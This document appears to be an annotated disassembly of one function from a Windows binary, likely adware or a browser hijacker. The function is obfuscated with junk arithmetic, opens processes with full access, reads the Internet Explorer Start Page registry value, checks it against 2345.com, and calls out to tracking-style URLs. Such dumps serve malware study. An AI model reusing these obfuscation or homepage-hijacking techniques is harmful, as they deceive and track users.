Function at 0x41b700
Capabilities:
Query or enumerate registry value
Read .ini file

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x44507d
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, 0x112c
call fcn.0042a980
mov eax, dword [0x458190]
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov ecx, dword [0x45681c]
mov eax, 0x49f9945f
imul ecx
sar edx, 0xe
mov esi, dword [0x456824]
mov edi, dword [0x456838]
imul edi, edi, 0xe0dd
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov ecx, dword [0x456830]
mov eax, 0x302debc5
imul esi
sar edx, 0xe
add edi, edx
mov eax, edx
shr eax, 0x1f
add eax, edi
mov edx, ecx
imul ecx, ecx, 0xdd7b
imul edx, edx, 0xa8da
add eax, edx
mov edi, eax
mov eax, 0x3e12562b
imul esi
mov esi, dword [0x456834]
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x2ff8513b
imul esi
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
mov dword [str._r_____r____], edi
mov edi, eax
sub edi, ecx
mov ecx, dword [0x456818]
mov eax, 0x47298a5
imul ecx, ecx, 0x1558c
imul esi
sar edx, 8
mov eax, edx
add edi, ecx
mov ecx, dword [0x456820]
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x395bd985
imul ecx
sar edx, 0xd
xor ebx, ebx
mov ecx, edx
shr ecx, 0x1f
add edi, edx
add ecx, edi
mov dword [ebp - 0x1104], ebx
mov dword [ebp - 4], ebx
mov dword [0x456818], ecx
mov dword [ebp - 0x10e0], ebx
lea edx, [ebp - 0x10e0]
push edx
push 0x4472e8
push 0x17
push ebx
mov byte [ebp - 4], 1
push 0x44b8d8
call dword [sym.imp.ole32.dll_CoCreateInstance]
mov edi, dword [0x456818]
mov edx, dword [0x456820]
mov ecx, eax
mov eax, edi
imul eax, eax, 0x398f
mov dword [ebp - 0x10d4], eax
mov eax, 0x18008403
imul edx
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x10d4]
sub edx, eax
mov esi, dword [str._r_____r____]
mov dword [ebp - 0x10d4], edx
mov eax, 0x3e12562b
imul dword [0x45682c]
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x10d4]
sub edx, eax
mov eax, esi
imul eax, eax, 0x107f4
add edx, eax
sub edx, dword [0x456834]
sub edx, 0x1558c
cmp ecx, ebx
mov dword [0x456820], edx
jge 0x41b90a
mov ecx, dword [0x45682c]
imul esi, esi, 0x15410
imul edi, edi, 0xa8da
mov eax, 0x99b19d5b
imul ecx
add edx, ecx
sar edx, 0xf
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x456828]
imul edx, edx, 0x398f
sub esi, ecx
add edx, dword [0x456830]
add edx, esi
lea eax, [edi + edx - 0x1558c]
mov dword [0x456824], eax
mov eax, dword [ebp - 0x10e0]
cmp eax, ebx
mov byte [ebp - 4], 0
je 0x41b903
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
xor eax, eax
jmp 0x41dabf
mov ecx, dword [0x456838]
mov eax, 0x246e57b5
imul ecx
sar edx, 0xd
mov eax, edx
shr eax, 0x1f
add eax, edx
mov esi, eax
mov eax, dword [0x45681c]
mov edx, ecx
imul eax, eax, 0xd534
imul edx, edx, 0x1558c
sub esi, edx
mov edx, dword [0x456824]
add esi, eax
mov eax, 0x302debc5
imul edx
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0x61082f49
imul ecx
mov eax, dword [ebp - 0x10e0]
sar edx, 0xe
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub esi, ecx
lea ecx, [ebp - 0x10ec]
push ecx
mov dword [0x456828], esi
mov dword [ebp - 0x10ec], ebx
mov edx, dword [eax]
push eax
call dword [edx + 0x1c]
mov ecx, dword [0x456820]
mov edx, dword [0x45682c]
imul edx, edx, 0x1558c
mov esi, ecx
imul esi, esi, 0xdd7b
add esi, edx
mov eax, 0x47298a5
imul dword [0x45681c]
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x456830]
imul edx, edx, 0x8ed2
sub esi, eax
add esi, edx
mov eax, 0x3e12562b
imul ecx
mov eax, dword [ebp - 0x10ec]
sar edx, 0xe
mov edi, edx
shr edi, 0x1f
add esi, edx
add edi, esi
cmp eax, ebx
mov dword [0x45682c], edi
je 0x41b8ef
mov esi, dword [0x456824]
imul esi, esi, 0xffffc9ca
mov edx, edi
imul edx, edx, 0x1558c
sub esi, edx
mov eax, 0x18008403
imul dword [0x45681c]
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x456828]
imul edx, edx, 0x8ed2
sub esi, eax
mov eax, dword [ebp + 8]
add esi, edx
cmp eax, ebx
mov dword [0x456830], esi
je 0x41bab2
mov ecx, dword [0x456828]
mov esi, dword [0x456818]
mov eax, 0x49f9945f
imul esi, esi, 0xd534
imul ecx
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, ecx
imul edx, edx, 0x15410
sub esi, eax
add esi, edx
mov eax, 0x302debc5
imul ecx
mov ecx, dword [0x456834]
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0x3e12562b
imul ecx
sar edx, 0xe
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub esi, ecx
mov ecx, 0x56a378
mov dword [0x456834], esi
call fcn.0040fd80
mov esi, dword [0x456830]
mov ecx, dword [0x456820]
mov edi, dword [0x45682c]
mov ebx, dword [0x456834]
imul ecx, ecx, 0xab36
mov eax, 0x99b19d5b
imul ebx, ebx, 0x1558c
imul edi
add edx, edi
sar edx, 0xf
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
sub edi, ebx
sub edi, ecx
mov ecx, dword [str._r_____r____]
mov eax, 0x395bd985
imul ecx
sar edx, 0xd
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub edi, ecx
xor ecx, ecx
mov dword [0x456838], edi
mov dword [ebp - 0x10fc], ecx
cmp ecx, dword [ebp - 0x10ec]
jge 0x41da62
mov ebx, dword [0x456824]
imul edi, edi, 0xe0dd
imul esi, esi, 0xa8da
mov eax, 0x49f9945f
imul dword [0x45681c]
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x302debc5
imul ebx
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add edi, edx
add eax, edi
add eax, esi
mov dword [ebp - 0x10cc], eax
mov eax, 0x3e12562b
imul ebx
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x10cc]
sub edx, eax
mov dword [str._r_____r____], edx
mov dword [ebp - 0x10cc], 0
mov eax, ecx
mov word [ebp - 0x1120], 3
mov dword [ebp - 0x1118], eax
mov edi, dword [ebp - 0x1120]
mov ecx, dword [ebp - 0x10e0]
mov edx, dword [ecx]
lea esi, [ebp - 0x10cc]
push esi
sub esp, 0x10
mov esi, esp
mov dword [esi], edi
mov edi, dword [ebp - 0x111c]
mov dword [esi + 4], edi
mov dword [esi + 8], eax
mov eax, dword [ebp - 0x1114]
push ecx
mov byte [ebp - 4], 3
mov dword [esi + 0xc], eax
call dword [edx + 0x20]
lea ecx, [ebp - 0x1120]
push ecx
mov edi, eax
mov byte [ebp - 4], 2
call dword [sym.imp.OLEAUT32.dll_VariantCopy]
mov edx, dword [0x456820]
mov ecx, dword [0x456818]
mov ebx, dword [0x45682c]
imul ecx, ecx, 0x398f
mov eax, 0x18008403
imul edx
sar edx, 0xc
mov esi, dword [str._r_____r____]
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, 0x3e12562b
imul ebx
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, esi
imul edx, edx, 0x107f4
sub ecx, eax
mov eax, dword [0x456834]
add ecx, edx
sub ecx, eax
sub ecx, 0x1558c
mov dword [0x456820], ecx
test edi, edi
jl 0x41c50b
mov eax, 0x47298a5
imul ebx, ebx, 0x1558c
imul dword [0x45681c]
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x456830]
mov edi, ecx
imul edx, edx, 0x8ed2
imul edi, edi, 0xdd7b
add edi, ebx
sub edi, eax
add edi, edx
mov eax, 0x3e12562b
imul ecx
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add edi, edx
add eax, edi
mov dword [0x45682c], eax
mov eax, dword [ebp - 0x10cc]
xor ebx, ebx
test eax, eax
mov dword [ebp - 0x10c8], ebx
je 0x41bcc5
mov ecx, dword [eax]
lea edx, [ebp - 0x10c8]
push edx
push 0x447340
push eax
call dword [ecx]
mov ebx, dword [ebp - 0x10c8]
mov esi, dword [str._r_____r____]
mov ecx, dword [0x456820]
mov edi, dword [0x456830]
mov eax, 0x2ff8513b
imul edi, edi, 0xdd7b
imul dword [0x456834]
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub eax, edi
mov edi, eax
mov eax, dword [0x456818]
imul eax, eax, 0x1558c
add edi, eax
mov eax, 0x47298a5
imul dword [0x456834]
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x395bd985
imul ecx
sar edx, 0xd
mov ecx, edx
shr ecx, 0x1f
add edi, edx
add ecx, edi
test ebx, ebx
mov dword [0x456818], ecx
je 0x41c50b
mov edi, dword [0x45682c]
imul esi, esi, 0x15410
imul ecx, ecx, 0xa8da
mov eax, 0x99b19d5b
imul edi
add edx, edi
mov edi, dword [0x456828]
sar edx, 0xf
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, edi
imul edx, edx, 0x398f
sub esi, eax
add edx, dword [0x456830]
add edx, esi
lea ecx, [ecx + edx - 0x1558c]
mov dword [0x456824], ecx
mov dword [ebp - 0x10e4], 0
imul ecx, ecx, 0xffffc9ca
imul edi, edi, 0x8ed2
mov eax, dword [0x45682c]
imul eax, eax, 0x1558c
sub ecx, eax
mov eax, 0x18008403
imul dword [0x45681c]
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
add ecx, edi
lea edx, [ebp - 0x10e4]
push edx
mov dword [0x456830], ecx
mov ecx, dword [ebx]
push ebx
mov byte [ebp - 4], 5
call dword [ecx + 0x48]
test eax, eax
jl 0x41c4e3
mov ecx, dword [0x45681c]
mov esi, dword [0x456838]
mov eax, 0x99b19d5b
imul ecx
add edx, ecx
sar edx, 0xf
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ebx, eax
mov edi, esi
mov eax, 0x302debc5
imul edi, edi, 0xe0dd
imul esi
mov esi, dword [str._r_____r____]
sar edx, 0xe
sub ebx, edi
add ebx, edx
mov ecx, edx
mov edx, dword [0x456830]
imul edx, edx, 0xa8da
shr ecx, 0x1f
add ecx, ebx
add ecx, edx
sub ecx, esi
mov esi, dword [ebp - 0x10e4]
add ecx, 0xaaa7
test esi, esi
mov dword [0x45681c], ecx
mov dword [ebp - 0x10d8], 0
je 0x41be65
mov eax, dword [esi]
lea ecx, [ebp - 0x10d8]
push ecx
push 0x447350
push esi
call dword [eax]
mov esi, dword [ebp - 0x10e4]
mov ecx, dword [0x45681c]
imul ecx, ecx, 0xd534
mov ebx, dword [0x456838]
mov eax, 0x246e57b5
imul ebx
sar edx, 0xd
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, ebx
imul edx, edx, 0x1558c
mov edi, eax
sub edi, edx
mov eax, 0x302debc5
imul dword [0x456824]
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add edi, ecx
add eax, edx
sub edi, eax
mov eax, 0x61082f49
imul ebx
mov eax, dword [ebp - 0x10d8]
sar edx, 0xe
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub edi, ecx
test eax, eax
mov byte [ebp - 4], 6
mov dword [0x456828], edi
jne 0x41bee2
test esi, esi
mov byte [ebp - 4], 4
je 0x41da1a
mov edx, dword [esi]
push esi
jmp 0x41da17
push 0
call fcn.0042a947
sub eax, dword [0x56a5d0]
add esp, 4
cmp eax, 0x708
jge 0x41c17b
mov ecx, dword [0x45681c]
mov esi, dword [0x456838]
mov eax, 0x49f9945f
imul esi, esi, 0xe0dd
imul ecx
mov ecx, dword [0x456824]
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0x302debc5
imul ecx
sar edx, 0xe
mov edi, edx
add esi, edx
mov edx, dword [0x456830]
imul edx, edx, 0xa8da
shr edi, 0x1f
add edi, esi
add edi, edx
mov eax, 0x3e12562b
imul ecx
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, dword [ebp - 0x10c8]
lea edx, [ebp - 0x110c]
push edx
mov dword [str._r_____r____], edi
mov ecx, dword [eax]
push eax
call dword [ecx + 0x94]
mov ecx, dword [ebp - 0x110c]
lea eax, [ebp - 0x10d4]
push eax
push ecx
mov dword [ebp - 0x10d4], 0
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
mov ecx, dword [0x45681c]
mov esi, dword [0x456838]
mov eax, 0x99b19d5b
imul ecx
add edx, ecx
sar edx, 0xf
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ecx, eax
mov eax, 0x302debc5
imul esi
mov edi, esi
imul edi, edi, 0xe0dd
mov esi, dword [str._r_____r____]
mov ebx, dword [ebp - 0x10d4]
sar edx, 0xe
sub ecx, edi
mov eax, edx
shr eax, 0x1f
add ecx, edx
add eax, ecx
mov ecx, dword [0x456830]
mov edx, ecx
imul edx, edx, 0xa8da
add eax, edx
sub eax, esi
add eax, 0xaaa7
test ebx, ebx
mov dword [0x45681c], eax
je 0x41c459
mov edi, dword [0x45682c]
imul esi, esi, 0x15410
mov eax, 0x99b19d5b
imul edi
add edx, edi
sar edx, 0xf
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x456828]
sub esi, eax
imul edx, edx, 0x398f
mov eax, dword [0x456818]
imul eax, eax, 0xa8da
add edx, ecx
push ebx
add edx, esi
push 0
lea ecx, [eax + edx - 0x1558c]
push 0x1f0fff
mov dword [0x456824], ecx
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x41c17b
mov ecx, dword [0x456820]
mov edx, dword [0x45682c]
imul edx, edx, 0x1558c
mov edi, ecx
imul edi, edi, 0xdd7b
add edi, edx
mov edx, dword [0x45681c]
mov eax, 0x47298a5
imul edx
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x456830]
imul edx, edx, 0x8ed2
sub edi, eax
add edi, edx
mov eax, 0x3e12562b
imul ecx
mov cx, word [0x447d24]
sar edx, 0xe
add edi, edx
mov eax, edx
mov dl, byte [0x447d26]
shr eax, 0x1f
add eax, edi
mov dword [0x45682c], eax
mov word [ebp - 0x2c4], cx
xor eax, eax
mov byte [ebp - 0x2c2], dl
mov ecx, 0x3f
lea edi, [ebp - 0x2c1]
rep stosd dword es:[edi], eax
push 0x100
stosb byte es:[edi], al
lea eax, [ebp - 0x2c4]
push eax
push 0
push esi
call sub.PSAPI.DLL_GetModuleFileNameExA
mov ecx, dword [0x456828]
mov esi, dword [0x456818]
mov eax, 0x49f9945f
imul esi, esi, 0xd534
imul ecx
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, ecx
imul edx, edx, 0x15410
sub esi, eax
add esi, edx
mov eax, 0x302debc5
imul ecx
mov ecx, dword [0x456834]
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0x3e12562b
imul ecx
sar edx, 0xe
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
lea edx, [ebp - 0x2c4]
sub esi, ecx
push str.startup.exe
push edx
mov dword [0x456834], esi
call fcn.0042adb0
add esp, 8
test eax, eax
jne 0x41c4cf
mov ecx, dword [0x456828]
mov esi, dword [0x456818]
mov eax, 0x49f9945f
imul esi, esi, 0xd534
imul ecx
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, ecx
imul edx, edx, 0x15410
sub esi, eax
add esi, edx
mov eax, 0x302debc5
imul ecx
mov ecx, dword [0x456834]
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0x3e12562b
imul ecx
mov eax, dword [ebp + 8]
sar edx, 0xe
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub esi, ecx
mov ecx, dword [ebp - 0x1104]
inc ecx
test eax, eax
mov dword [0x456834], esi
mov dword [ebp - 0x1104], ecx
je 0x41d992
push ecx
lea edx, [ebp - 0x10c8]
mov ecx, esp
mov dword [ebp - 0x10dc], esp
push edx
call fcn.004068e0
mov ecx, 0x56a378
call fcn.00405e60
test al, al
jne 0x41d992
mov ecx, dword [0x45681c]
mov edi, dword [0x456838]
mov esi, dword [0x456824]
imul edi, edi, 0xe0dd
mov eax, 0x49f9945f
imul ecx
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x302debc5
imul esi
sar edx, 0xe
mov ecx, edx
add edi, edx
mov edx, dword [0x456830]
imul edx, edx, 0xa8da
shr ecx, 0x1f
add ecx, edi
add ecx, edx
mov eax, 0x3e12562b
imul esi
mov esi, dword [0x456818]
sar edx, 0xe
imul esi, esi, 0x398f
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x456820]
sub ecx, eax
mov eax, 0x18008403
imul edx
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45682c]
sub esi, eax
mov ebx, dword [0x456834]
mov eax, 0x3e12562b
imul edx
mov dword [str._r_____r____], ecx
imul ecx, ecx, 0x107f4
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, dword [ebp - 0x10c8]
add esi, ecx
sub esi, ebx
lea edx, [ebp - 0x1108]
sub esi, 0x1558c
push edx
mov dword [0x456820], esi
mov ecx, dword [eax]
push eax
call dword [ecx + 0x78]
mov ecx, dword [0x456820]
mov eax, dword [0x45682c]
mov edx, dword [0x45681c]
imul eax, eax, 0x1558c
mov esi, ecx
imul esi, esi, 0xdd7b
add esi, eax
mov eax, 0x47298a5
imul edx
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x456830]
imul edx, edx, 0x8ed2
sub esi, eax
add esi, edx
mov eax, 0x3e12562b
imul ecx
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
mov ecx, dword [ebp - 0x1108]
add esi, edx
add eax, esi
push ecx
mov dword [0x45682c], eax
call fcn.004201f0
mov ecx, dword [0x45681c]
mov esi, dword [0x456838]
mov dword [ebp - 0x10dc], eax
imul esi, esi, 0xe0dd
mov eax, 0x49f9945f
imul ecx
mov ecx, dword [0x456824]
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0x302debc5
imul ecx
sar edx, 0xe
mov edi, edx
add esi, edx
mov edx, dword [0x456830]
imul edx, edx, 0xa8da
shr edi, 0x1f
add edi, esi
add edi, edx
mov eax, 0x3e12562b
imul ecx
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, dword [ebp - 0x10d8]
lea edx, [ebp - 0x1110]
push edx
mov dword [str._r_____r____], edi
mov ecx, dword [eax]
push eax
mov dword [ebp - 0x10d0], 0
call dword [ecx + 0x90]
mov ecx, dword [0x45681c]
mov esi, eax
mov edi, dword [0x456838]
mov eax, 0x99b19d5b
imul ecx
add edx, ecx
sar edx, 0xf
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ecx, eax
mov eax, 0x302debc5
imul edi
mov ebx, edi
imul ebx, ebx, 0xe0dd
sar edx, 0xe
sub ecx, ebx
add ecx, edx
mov eax, edx
mov edx, dword [str._r_____r____]
shr eax, 0x1f
add eax, ecx
mov ecx, dword [0x456830]
imul ecx, ecx, 0xa8da
add eax, ecx
sub eax, edx
add eax, 0xaaa7
test esi, esi
mov dword [0x45681c], eax
jne 0x41c528
mov edx, dword [ebp - 0x1110]
push edx
call fcn.004201f0
mov esi, eax
jmp 0x41c52e
mov esi, dword [0x456834]
imul ecx, ecx, 0xdd7b
mov eax, 0x2ff8513b
imul esi
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
sub edi, ecx
mov ecx, dword [0x456818]
mov eax, 0x47298a5
imul ecx, ecx, 0x1558c
imul esi
sar edx, 8
mov eax, edx
add edi, ecx
mov ecx, dword [0x456820]
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x395bd985
imul ecx
sar edx, 0xd
mov ecx, edx
shr ecx, 0x1f
add edi, edx
add ecx, edi
push str.startup.exe
mov dword [0x456818], ecx
call fcn.0040c570
add esp, 4
test eax, eax
jle 0x41c17b
mov eax, dword [ebp - 0x10d8]
test eax, eax
mov byte [ebp - 4], 5
je 0x41c4e3
mov edx, dword [eax]
push eax
call dword [edx + 8]
mov eax, dword [ebp - 0x10e4]
test eax, eax
mov byte [ebp - 4], 4
je 0x41c4f7
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [ebp - 0x10c8]
test eax, eax
mov byte [ebp - 4], 2
je 0x41c50b
mov edx, dword [eax]
push eax
call dword [edx + 8]
mov eax, dword [ebp - 0x10cc]
test eax, eax
mov byte [ebp - 4], 1
je 0x41da42
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
jmp 0x41da42
mov esi, dword [ebp - 0x10d0]
push 0
call fcn.0042a947
sub eax, dword [0x56a334]
add esp, 4
cmp eax, 5
jle 0x41d288
test esi, esi
je 0x41c562
mov eax, esi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x41c550
sub eax, edx
cmp eax, 5
ja 0x41d288
mov ecx, dword [0x45682c]
mov eax, 0x99b19d5b
imul ecx
add edx, ecx
mov ecx, dword [str._r_____r____]
mov edi, dword [0x456830]
imul ecx, ecx, 0x15410
sar edx, 0xf
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x456828]
sub ecx, eax
imul edx, edx, 0x398f
mov eax, dword [0x456818]
imul eax, eax, 0xa8da
add edx, edi
add edx, ecx
lea ecx, [eax + edx - 0x1558c]
mov dword [0x456824], ecx
mov ecx, str.http:__www.baiduo.org_
lea edx, [ebp - 0x1c4]
mov al, byte [ecx]
inc ecx
mov byte [edx], al
inc edx
test al, al
jne 0x41c5c2
lea edx, [ebp - 0x1c4]
push edx
call fcn.00420090
mov ecx, dword [0x45682c]
mov dword [ebp - 0x10f8], eax
mov esi, dword [0x456834]
mov eax, 0x99b19d5b
imul esi, esi, 0x1558c
imul ecx
add edx, ecx
mov ecx, dword [0x456820]
sar edx, 0xf
imul ecx, ecx, 0xab36
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ebx, eax
sub ebx, esi
sub ebx, ecx
mov ecx, dword [str._r_____r____]
mov eax, 0x395bd985
imul ecx
mov ecx, dword [str.sfdafsdafdsfdsfa]
sar edx, 0xd
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x447d08]
sub ebx, eax
mov eax, dword [0x447d0c]
mov dword [ebp - 0x13c], eax
xor eax, eax
mov dword [ebp - 0x144], ecx
mov ecx, dword [0x447d10]
mov dword [ebp - 0x140], edx
mov dl, byte [0x447d14]
mov dword [ebp - 0x138], ecx
mov byte [ebp - 0x134], dl
mov ecx, 0x3c
lea edi, [ebp - 0x133]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0xa
mov esi, str.SoftwareMicrosoftInternet_ExplorerMain
lea edi, [ebp - 0x40]
rep movsd dword es:[edi], dword [esi]
mov ecx, dword [0x45681c]
mov eax, 0x49f9945f
imul ecx
mov ecx, dword [0x456824]
sar edx, 0xe
mov dword [0x456838], ebx
imul ebx, ebx, 0xe0dd
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0x302debc5
imul ecx
sar edx, 0xe
movsw word es:[edi], word [esi]
add ebx, edx
mov esi, edx
mov edx, dword [0x456830]
imul edx, edx, 0xa8da
shr esi, 0x1f
add esi, ebx
add esi, edx
mov eax, 0x3e12562b
imul ecx
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
lea ecx, [ebp - 0x10f0]
sub esi, eax
push ecx
mov dword [ebp - 0x10f0], 0
mov dword [str._r_____r____], esi
push 0xf003f
push 0
lea edx, [ebp - 0x40]
push edx
push SysReAllocStringLen
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x41c9b9
mov ecx, dword [0x456838]
mov edi, dword [0x45681c]
mov eax, 0x246e57b5
imul ecx
sar edx, 0xd
mov eax, edx
shr eax, 0x1f
add eax, edx
mov esi, eax
mov edx, ecx
imul edx, edx, 0x1558c
sub esi, edx
mov edx, dword [0x456824]
mov eax, edi
imul eax, eax, 0xd534
add esi, eax
mov eax, 0x302debc5
imul edx
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0x61082f49
imul ecx
sar edx, 0xe
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub esi, ecx
mov ecx, dword [0x456830]
mov dword [0x456828], esi
mov esi, dword [0x456834]
mov eax, 0x2ff8513b
imul esi
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x456818]
imul edx, edx, 0x1558c
mov ebx, ecx
imul ecx, ecx, 0x8ed2
imul ebx, ebx, 0xdd7b
sub eax, ebx
add eax, edx
mov ebx, eax
mov eax, 0x47298a5
imul esi
mov esi, dword [0x456820]
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0x395bd985
imul esi
sar edx, 0xd
add ebx, edx
mov eax, edx
mov edx, dword [0x45682c]
shr eax, 0x1f
imul edx, edx, 0x1558c
add eax, ebx
mov ebx, esi
imul ebx, ebx, 0xdd7b
mov dword [0x456818], eax
add ebx, edx
mov eax, 0x47298a5
imul edi
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0x3e12562b
imul esi
add ebx, ecx
mov dword [ebp - 0x10d0], 0x104
sar edx, 0xe
mov ecx, edx
add ebx, edx
shr ecx, 0x1f
add ecx, ebx
lea edx, [ebp - 0x10d0]
push edx
mov edx, dword [ebp - 0x10f0]
lea eax, [ebp - 0x144]
push eax
mov dword [0x45682c], ecx
lea ecx, [ebp - 0x1100]
push ecx
push 0
push str.Start_Page
mov edi, 1
push edx
mov dword [ebp - 0x1100], edi
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x41c9b9
mov ecx, dword [0x45681c]
mov esi, dword [0x456838]
mov eax, 0x99b19d5b
imul ecx
add edx, ecx
mov ebx, esi
imul ebx, ebx, 0xe0dd
sar edx, 0xf
mov eax, edx
shr eax, 0x1f
add eax, edx
sub eax, ebx
mov ebx, eax
mov eax, 0x302debc5
imul esi
mov esi, dword [0x456830]
mov eax, dword [0x56a658]
sar edx, 0xe
add ebx, edx
mov ecx, edx
mov edx, esi
imul edx, edx, 0xa8da
shr ecx, 0x1f
add ecx, ebx
mov ebx, dword [str._r_____r____]
add ecx, edx
sub ecx, ebx
add ecx, 0xaaa7
test eax, eax
mov dword [0x45681c], ecx
jne 0x41c9c5
lea eax, [ebp - 0x144]
push str..2345.com
push eax
call fcn.0042adb0
add esp, 8
test eax, eax
jne 0x41c920
lea ecx, [ebp - 0x144]
push str..2345.COM
push ecx
call fcn.0042adb0
add esp, 8
test eax, eax
je 0x41c9b9
mov ecx, dword [0x45681c]
mov esi, dword [0x456838]
mov eax, 0x49f9945f
imul esi, esi, 0xe0dd
imul ecx
mov ecx, dword [0x456824]
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0x302debc5
imul ecx
sar edx, 0xe
mov ebx, edx
add esi, edx
mov edx, dword [0x456830]
imul edx, edx, 0xa8da
shr ebx, 0x1f
add ebx, esi
add ebx, edx
mov eax, 0x3e12562b
imul ecx
sar edx, 0xe
mov eax, edx
lea ecx, [ebp - 0x144]
shr eax, 0x1f
push ecx
add eax, edx
sub ebx, eax
push str.http:__stat.wamme.cn_C8C_gl_cnzz60.html_HomePage_s
push 0x559128
mov dword [str._r_____r____], ebx
mov dword [0x56a658], edi
call fcn.0042a311
push 0x132b600
call sym.CallDll.exe_int___cdecl_pro_cess3_int_
add esp, 0x10
push 0x1f40
call dword [sym.imp.KERNEL32.dll_Sleep]
mov esi, dword [0x456830]
mov ecx, dword [0x45681c]
mov edi, dword [0x456820]
imul esi, esi, 0x8ed2
mov edx, dword [0x45682c]
imul edx, edx, 0x1558c
mov ebx, edi
imul ebx, ebx, 0xdd7b
add ebx, edx
mov eax, 0x47298a5
imul ecx
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0x3e12562b
imul edi
sar edx, 0xe
mov ecx, edx
add ebx, esi
add ebx, edx
mov edx, dword [ebp - 0x10f0]
shr ecx, 0x1f
add ecx, ebx
push edx
mov dword [0x45682c], ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov esi, dword [0x456834]
